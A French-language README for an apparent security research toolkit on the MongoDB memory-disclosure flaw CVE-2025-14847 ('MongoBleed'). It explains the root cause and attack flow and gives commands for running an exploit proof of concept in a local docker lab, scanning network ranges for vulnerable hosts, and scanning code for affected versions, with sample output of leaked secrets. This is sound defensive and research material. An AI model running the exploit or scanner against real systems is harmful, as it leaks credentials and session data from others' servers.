🩸 MongoBleed - CVE-2025-14847 Laboratoire de Recherche en Sécurité
CVE-2025-14847 | CVSS 8.7 (Élevé) | Divulgation de mémoire non authentifiée
CVE-2025-14847, surnommé MongoBleed, permet à des attaquants distants non authentifiés d'exfiltrer la mémoire tas non initialisée en exploitant la logique de décompression zlib de MongoDB. Cette vulnérabilité de haute sévérité expose des artefacts sensibles, y compris des identifiants en texte clair et des jetons de session, fournissant une feuille de route pour le mouvement latéral et la prise de contrôle complète du serveur.
📖 Documentation complète →
TL;DR pour les équipes d'ingénierie
| Aspect | Détails |
|---|
| Ce qui est vulnérable | Couche de transport réseau du serveur MongoDB utilisant la compression zlib |
| Sévérité | Élevé (CVSS 8.7/7.5) |
| Impact | Divulgation à distance non authentifiée de mémoire tas non initialisée |
| Pourquoi c'est important | Les fragments divulgués contiennent des mots de passe de base de données, des clés secrètes AWS et des états internes du serveur |
| Statut de l'exploit | Preuve de concept (PoC) publique « mongobleed » validée et en circulation |
| Que faire aujourd'hui | Mettre à niveau vers les versions corrigées immédiatement ou désactiver la compression zlib |
Échelle d'exposition
- 87 000 - 194 000 instances MongoDB exposées publiquement
- 42 % des environnements cloud affectés (Wiz Research)
- Aucune authentification requise – les exploits se produisent avant l'authentification
🔬 Anatomie de la vulnérabilité
Analyse technique
La vulnérabilité existe dans la couche de transport réseau de MongoDB (message_compressor_zlib.cpp) où une faille critique dans la logique de décompression zlib permet à des attaquants non authentifiés de divulguer de la mémoire sensible du serveur.
Cause racine
// CODE VULNÉRABLE (avant correction)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ Retourne la taille du tampon ALLOUÉ
// CODE CORRIGÉ (après correction)
counterHitDecompress(input.length(), output.length());
return length; // ✅ Retourne la LONGUEUR RÉELLE des données décompressées
Flux d'exploitation
┌─────────────────────────────────────────────────────────────────────────────┐
│ Vecteur d'attaque MongoBleed │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ATTAQUANT MongoDB VULNÉRABLE │
│ │ │ │
│ │ 1. Envoyer message OP_COMPRESSED │ │
│ │ uncompressedSize: 8192 (MENSONGE) │
│ │ données réelles : ~100 octets │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. Allouer un tampon de 8192 octets │
│ │ 3. Décompresser ~100 octets │
│ │ 4. BOGUE : Retourner buffer.length() = 8192 │
│ │ 5. L'analyseur BSON lit la mémoire non init. │
│ │ │ │
│ │ 6. Réponse d'erreur avec mémoire │ │
│ │ divulguée comme « noms de champs »│ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 DONNÉES DIVULGUÉES : │ │
│ - Clés API, mots de passe, jetons │
│ - État interne MongoDB │
│ - Configurations de stockage WiredTiger │
│ - Informations système /proc │
│ - Données de connexion client │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Versions affectées
Chronologie de la découverte
| Date | Événement |
|---|
| 15 déc. 2025 | Vulnérabilité identifiée ; ticket interne SERVER-115508 |
|
📁 Structure du projet
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 Laboratoire d'exploitation
│ ├── docker-compose.yml # Instances MongoDB vulnérables + corrigées
│ ├── mongobleed.py # PoC d'exploitation de fuite mémoire
│ ├── init/init-mongo.js # Données de test sensibles
│ ├── test-exploit.sh # Script de test du laboratoire
│ └── README.md # Documentation du laboratoire
│
├── scanner/ # 🌐 Scanner réseau
│ ├── mongobleed_scanner.py # Scanner de vulnérabilité IP/domaine
│ ├── sample-targets.txt # Fichier d'exemple de cibles
│ └── README.md # Documentation du scanner
│
├── code-scan/ # 📂 Scanner de code
│ ├── main.py # Point d'entrée CLI
│ ├── scanners/ # Scanners Docker, Python, Infrastructure
│ ├── models/ # Modèles de constatations, de vulnérabilités
│ ├── integrations/ # Envoi vers Phoenix Security
│ └── README.md # Documentation du scanner de code
│
└── original-exploit/ # 📚 Référence PoC originale
🚀 Démarrage rapide
1. Laboratoire d'exploitation
cd exploit
# Démarrer le laboratoire (instances vulnérable + corrigée)
docker-compose up -d
sleep 10
# Tester l'instance vulnérable (devrait fuir de la mémoire)
python3 mongobleed.py --host localhost --port 27017
# Tester l'instance corrigée (NE DEVRAIT PAS fuir de mémoire)
python3 mongobleed.py --host localhost --port 27018
# Test complet du laboratoire
./test-exploit.sh
2. Scanner réseau
cd scanner
# Scanner un seul hôte
python3 mongobleed_scanner.py 192.168.1.100
# Scanner une plage réseau
python3 mongobleed_scanner.py 192.168.1.0/24
# Scanner depuis un fichier
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
3. Scanner de code
cd code-scan
# Scanner un projet pour trouver des versions MongoDB vulnérables
python3 main.py scan /path/to/project
# Scanner et envoyer vers Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# Exécuter les tests
python3 main.py test
⚡ Commandes rapides
# === LABORATOIRE D'EXPLOITATION ===
# Démarrer le laboratoire
cd exploit && docker-compose up -d && sleep 10
# Exécuter l'exploit (instance vulnérable)
python3 exploit/mongobleed.py --host localhost --port 27017
# Exécuter l'exploit (instance corrigée - vérifier l'absence de fuites)
python3 exploit/mongobleed.py --host localhost --port 27018
# === SCANNER RÉSEAU ===
# Scanner le laboratoire local
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# Scanner un réseau
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === SCANNER DE CODE ===
# Scanner le répertoire courant
python3 code-scan/main.py scan .
# Scanner avec sortie JSON
python3 code-scan/main.py scan /path/to/project --json --output results.json
# Scanner et envoyer vers Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
📊 Exemples de sortie
Sortie de l'exploit
[*] mongobleed - CVE-2025-14847 Fuite mémoire MongoDB
[*] Cible : localhost:27017
[*] Analyse des décalages 20-8192...
[+] decalage= 117 long= 39: ssions^\u0001�r��*YDr���
[+] decalage=16582 long=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] decalage=18731 long=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] LA CIBLE EST VULNÉRABLE À CVE-2025-14847
[*] Total divulgué : 8748 octets
[*] Fragments uniques : 42
[!] Secrets potentiels détectés :
• Clé privée RSA
• Secret du laboratoire
Sortie du scanner réseau
[*] Analyse de 254 cibles avec 10 threads...
[1/254] 192.168.1.10:27017 - 8.2.2 [VULNÉRABLE - CONFIRMÉ]
[2/254] 192.168.1.11:27017 - 8.2.3 [SÛR]
RÉSUMÉ :
----------------------------------------
Total des cibles analysées : 254
Hôtes accessibles : 12
Instances MongoDB : 8
VULNÉRABLES : 3
Sortie du scanner de code
================================================================================
RAPPORT DU SCANNEUR DE CODE MONGOBLEED - CVE-2025-14847
================================================================================
🚨 VERSIONS MONGODB VULNÉRABLES DÉTECTÉES
1. [email protected]
Fichier : /project/docker-compose.yml
Type : docker-compose
Raison : Version 8.2.2 dans la plage vulnérable [8.2.0 - 8.2.2]
✅ Mettre à niveau vers : 8.2.3
CVE : CVE-2025-14847
🔗 Intégration Phoenix Security
Tous les scanners prennent en charge l'envoi des constatations vers la plateforme Phoenix Security :
# Créer la configuration
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# Modifier avec vos identifiants
# [phoenix]
# client_id = votre_client_id
# client_secret = votre_client_secret
# api_base_url = https://api.securityphoenix.cloud
# Scanner et envoyer
python3 code-scan/main.py scan /path/to/project --upload-phoenix
🔐 Avis de sécurité
⚠️ IMPORTANT : Cette trousse à outils est fournie uniquement à des fins de tests de sécurité autorisés et de recherche.
- Testez uniquement les systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite
- L'accès non autorisé aux systèmes informatiques est illégal
- Les données divulguées peuvent contenir des informations sensibles - gérez-les de manière responsable
- Signalez les vulnérabilités via les canaux de divulgation appropriés
📚 Documentation
🔗 Références externes
👤 Crédits
- Exploit original par Joe Desimone (@dez_)
- Environnement de laboratoire et améliorations du scanner pour la recherche en sécurité
📄 Licence
Pour les tests de sécurité autorisés uniquement. Utiliser de manière responsable.
Dernière mise à jour : Décembre 2025